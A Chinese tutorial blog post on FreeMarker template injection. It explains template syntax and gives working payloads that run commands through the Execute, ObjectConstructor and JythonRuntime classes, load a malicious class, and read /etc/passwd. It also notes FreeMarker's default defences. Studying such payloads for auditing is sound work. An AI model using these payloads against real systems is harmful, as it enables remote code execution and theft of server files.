【代碼審計(jì)】模板注入

0x00 介紹

這里主要學(xué)習(xí)下 FreeMarker 模板注入,F(xiàn)reeMarker 是一款模板引擎,F(xiàn)reeMarker 模板文件與 HTML 一樣都是靜態(tài)頁面,當(dāng)用戶訪問頁面時(shí),F(xiàn)reeMarker 引擎會(huì)進(jìn)行解析并動(dòng)態(tài)替換模板中的內(nèi)容進(jìn)行渲染,然后將渲染后的結(jié)果返回到瀏覽器中。

0x01 FreeMarker 模板

FreeMarker 模板語言(FreeMarker Template Language,F(xiàn)TL)由 4 個(gè)部分組成,分別如下:

  • 文本:包括 HTML 標(biāo)簽與靜態(tài)文本等靜態(tài)內(nèi)容,該部分內(nèi)容會(huì)原樣輸出

  • 插值:這部分的輸出會(huì)被模板引擎計(jì)算的值來替換,使用 ${} 這種語法

  • 標(biāo)簽:和 HTML 標(biāo)簽類似,不會(huì)打印在輸出的內(nèi)容中,比如 <#assign name='bob'>

  • 注釋:和 HTML 注釋類似,由 <#-- 和 --> 表示,注釋部分的內(nèi)容會(huì) FreeMarker 忽略

以下是一個(gè) FreeMarker 模板內(nèi)容示例:

<html>
<head>
    <title>Welcome TeamsSix!</title>
</head>
<body> <#-- 這是注釋 -->
<h1>Welcome !</h1>
<p>Our latest product:
    <a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

0x02 模板注入利用

1、new 函數(shù)的利用

FreeMarker 中預(yù)制了大量了內(nèi)建函數(shù),其中 new 函數(shù)可以創(chuàng)建一個(gè)繼承自 freemarker.template.TemplateModel 類的變量,利用這一點(diǎn)能達(dá)到執(zhí)行任意代碼的目的。

利用方法一:

freemarker.template.utility 里有個(gè) Execute 類,通過觀察源代碼里的第 30 行可以看到這個(gè)類會(huì)調(diào)用 Runtime.getRuntime().exec 函數(shù)執(zhí)行它的 aExecute 變量參數(shù)值,因此這里可以使用 new 函數(shù)傳輸想要執(zhí)行的命令作為 aExecute 參數(shù)值,從而執(zhí)行命令。

freemarker.template.utility.Execute 部分文件代碼如下:

22 public Object exec(List arguments) throws TemplateModelException {
23    StringBuilder aOutputBuffer = new StringBuilder();
24    if (arguments.size() < 1) {
25        throw new TemplateModelException("Need an argument to execute");
26    } else {
27        String aExecute = (String)((String)arguments.get(0));
28
29        try {
30            Process exec = Runtime.getRuntime().exec(aExecute);
31            InputStream execOut = exec.getInputStream();
32            Throwable var6 = null;

構(gòu)造 payload 如下:

<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
image

利用方法二:

freemarker.template.utility 里有個(gè) ObjectConstructor 類,通過觀察源代碼里的第 25 行可以看到這個(gè)類會(huì)把它的參數(shù)作為名稱構(gòu)造一個(gè)實(shí)例化對(duì)象。

因此也可以利用這一點(diǎn)構(gòu)造一個(gè)可執(zhí)行命令的對(duì)象,從而 RCE

freemarker.template.utility.ObjectConstructor 部分文件代碼如下:

17 public class ObjectConstructor implements TemplateMethodModelEx {
18     public ObjectConstructor() {
19     }
20 
21     public Object exec(List args) throws TemplateModelException {
22         if (args.isEmpty()) {
23             throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
24         } else {
25             String classname = args.get(0).toString();
26             Class cl = null;
27 
28             try {
29                 cl = ClassUtil.forName(classname);
30             } catch (Exception var6) {
31                 throw new TemplateModelException(var6.getMessage());
32             }

構(gòu)造 Payload 如下:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}
image

利用方法三:

freemarker.template.utility 里有個(gè) JythonRuntime 類,這里可以通過自定義標(biāo)簽的方式執(zhí)行 Python 命令,從而構(gòu)造遠(yuǎn)程命令執(zhí)行。

freemarker.template.utility.JythonRuntime 部分文件代碼如下:

public class JythonRuntime extends PythonInterpreter
    implements TemplateTransformModel {
    @Override
    public Writer getWriter(final Writer out,
                            final Map args) {
        final StringBuilder buf = new StringBuilder();
        final Environment env = Environment.getCurrentEnvironment();
        return new Writer() {
            @Override
            public void write(char cbuf[], int off, int len) {
                buf.append(cbuf, off, len);
            }

            @Override
            public void flush() throws IOException {
                interpretBuffer();
                out.flush();
            }

            @Override
            public void close() {
                interpretBuffer();
            }

            private void interpretBuffer() {
                synchronized (JythonRuntime.this) {
                    PyObject prevOut = systemState.stdout;
                    try {
                        setOut(out);
                        set("env", env);
                        exec(buf.toString());
                        buf.setLength(0);
                    } finally {
                        setOut(prevOut);
                    }
                }
            }
        };
    }
}

構(gòu)造 Payload 如下:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")</@value>
image

2、api 函數(shù)的利用

除了 new 函數(shù),還可以利用 api 函數(shù)調(diào)用 Java API,然后通過 getClassLoader 獲取類加載器從而加載惡意類,或者也可以通過 getResource 來實(shí)現(xiàn)任意文件讀取。

加載惡意類的 Payload 如下:

<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}

任意文件讀取的 Payload 如下:

<#assign uri=object?api.class.getResource("/").toURI()>
  <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
  <#assign is=input?api.getInputStream()>
  FILE:[<#list 0..999999999 as _>
      <#assign byte=is.read()>
      <#if byte == -1>
          <#break>
      </#if>
  ${byte}, </#list>]

不過 api 內(nèi)建函數(shù)并不能隨便使用,必須在配置項(xiàng) apiBuiltinEnabled 為 true 時(shí)才有效,而該配置在 2.3.22 版本之后默認(rèn)為 false

同時(shí) FreeMarker 為了防御通過其他方式調(diào)用惡意方法,F(xiàn)reeMarker 內(nèi)置了一份危險(xiǎn)方法名單 unsafeMethods.properties,例如 getClassLoader、newInstance 等危險(xiǎn)方法都被禁用了。

參考文章:

https://www.anquanke.com/post/id/215348

https://www.cnblogs.com/Eleven-Liu/p/12747908.html

原文鏈接:

https://www.teamssix.com/211203-200441.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容